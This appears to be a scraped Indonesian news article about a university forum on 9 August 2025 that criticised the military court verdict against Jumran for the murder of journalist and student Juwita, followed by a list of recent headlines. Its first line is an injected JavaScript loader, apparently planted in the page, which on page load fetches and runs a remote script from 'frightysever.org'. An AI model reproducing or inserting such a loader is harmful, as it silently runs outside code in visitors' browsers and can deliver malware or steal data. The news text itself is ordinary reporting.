(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Vonis Kasus Jumran Habisi Juwita Dibahas Ahli dan Akedemisi di Uniska MAB


KANALKALIMANTAN.COM, BANAJRAMASIN – Universitas Islam Kalimantan Muhammad Arsyad Al Banjari (Uniska MAB) memfasilitasi Focus Group Discussion (FGD) Tim Advokasi Untuk Keadilan (AUK) Juwita, Sabtu (9/8/2025) siang.

Diskusi berlangsung di aula Serbaguna, Gedung Rektorat Uniska MAB, Jalan Trans Kalimantan, Komplek Agrabudi Ihsan Madani, Berangas Timur, Kabupaten Barito Kuala.

Mengangkat tema “Reformasi Hukum Militer dan Keadilan Substantif: Kajian atas Putusan Pengadilan Militer Nomor 11-K/PM.I-06/AL/IV/2025 dan Eksekusi Putusan”.

Baca juga: Jalan Kartika Hanya Bisa Dilalui Satu Arah, Warga Ungkap Alasan Pemblokiran

Forum eksaminasi ini dilatarbelakangi Putusan Pengadilan Militer I-06 Banjarmasin Nomor: 11-K/PM.I-06/AL/IV/2025 atas nama terdakwa Jumran, yang didakwa melakukan tindak pidana pembunuhan berencana terhadap seorang perempuan bernama Juwita.

Korban berstatus sebagai jurnalis dan mahasiswi Fakultas Ilmu Sosial dan Politik (Fisi) Program Studi Ilmu Komunikasi Uniska MAB semester akhir.

Dalam putusan terdapat perdebatan hukum yang mencolok antara Oditur Militer dan penasihat hukum terdakwa terkait terpenuhinya unsur opzet (kesengajaan) dan voorbedachte raad (perencanaan terlebih dahulu) dalam pasal 340 KUHP.

Baca juga: Indeks Optimisme 2025: Kelompok Muda Kalah Optimis dari Generasi Lebih Tua

Narasumber yang dihadirkan berbagai ahli dan akademisi mulai dari Komnas HAM RI, LPSK RI, praktisi hukum dan HAM Kalsel, akademisi hukum pidana khusus, akademisi kedokteran forensik kesehatan kehakiman, akademisi hukum perlindungan hak perempuan, dan AJI Persiapan Banjarmasin.

Rektor Uniska MAB, Mohammad Zainul melalui Kepala Biro Kewirausahaan, Amelia Wahyuni mengapresiasi Tim AUK Juwita yang menginisiasi diskusi ini.

“Juwita adalah salah satu mahasiswa kami, mungkin saya tidak mengenal tapi kami dalam satu lingkungan merasa kehilangan atas kepergiannya,” kata Amelia.

Baca juga: Belum Dipulangkan ke Tanah Air, Satu Jemaah Haji Asal Banjarbaru Wafat di Madinah

Sementara itu, Presiden Mahasiswa Uniska MAB, Muhammad Anzari berkomitmen untuk terus mengawal kasus pembunuhan oleh mantan anggota TNI AL.

“Kami melakukan gerakan melalui propaganda-propaganda melalui media yang bertujuan membangun atensi publik sehingga terbentuknya solidaritas untuk mbak Juwita,” ungkap Anzari.

Dia menambahkan, pihaknya juga rutin mengikuti kasus ini mulai dari persidangan hingga putusan pengadilan militer.
“Forum diskusi ini bertujuan mengkritisi tentang putusan pengadilan militer terkait kematian almarhumah Juwita,” jelas Anzari.

Baca juga: Kabupaten Banjar Raih Penghargaan Kota Layak Anak 2025 Katagori Nindya

Menurut Anzari, putusan yang dijatuhkan kepada Jumran tidak mencerminkan keadilan substansial kepada korban.
“Mudah-mudahan dengan adanya diskusi dan kajian, kita bisa bersama-sama membedah untuk mereformasi hukum militer yang berkeadilan,” pungkasnya.

Di sisi lain, Ketua Pelaksana Eksaminasi Juwita, Muhammad L Maswandi menuturkan, FGD ini bukan hanya sebagai forum akademik melainkan ruang dialog guna mentransparankan nilai-nilai hukum dan profesionalisme.

“Kritik adalah bentuk partisipasi yang sehat dalam demokrasi, duduk memahami dan merenungi apalagi korban adalah kelompok rentan yang harus dilindungi hak-haknya,” terang Maswandi.

Baca juga: Meriah, Dinas PUPR Kalsel Gelar Bermacam Lomba Peringati HUT RI dan Harjad Kalsel

Ia berharap forum ini bisa jadi titik temu gagasan atau upaya nyata untuk mengoptimalkan sistem pengadilan militer yang adaptif terhadap dinamika sosial di masyarakat.

Sementara, Ketua Tim AUK Juwita, M. Pazri menyoroti pemindahan secara diam-diam Terdakwa Jumran dari lapas Banjarbaru ke Balikpapan di luar pengetahuan keluarga korban atau tim kuasa hukum.

“Pemindahan narapidana atau tahanan ada mekanismenya, faktanya pemindahan dilakukan secara diam-diam yang menunjukkan kurangnya transparansi,” beber Pazri.

Selain itu, kuasa hukum keluarga Juwita itu menyatakan, pengusutan ponsel pelaku tentang siapa saja yang dihubungi sebelum dan sesudah kejadian belum tuntas.

“Informasi ini tentunya sangat krusial untuk membongkar potensi keterlibatan pihak lain,” tutup Pazri. (Kanalkalimantan.com/fahmi)

Reporter: fahmi
Editor: bie


Muhammad Andi

Recent Posts

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

17 menit ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

12 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

12 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

15 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

21 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

22 jam ago

This website uses cookies.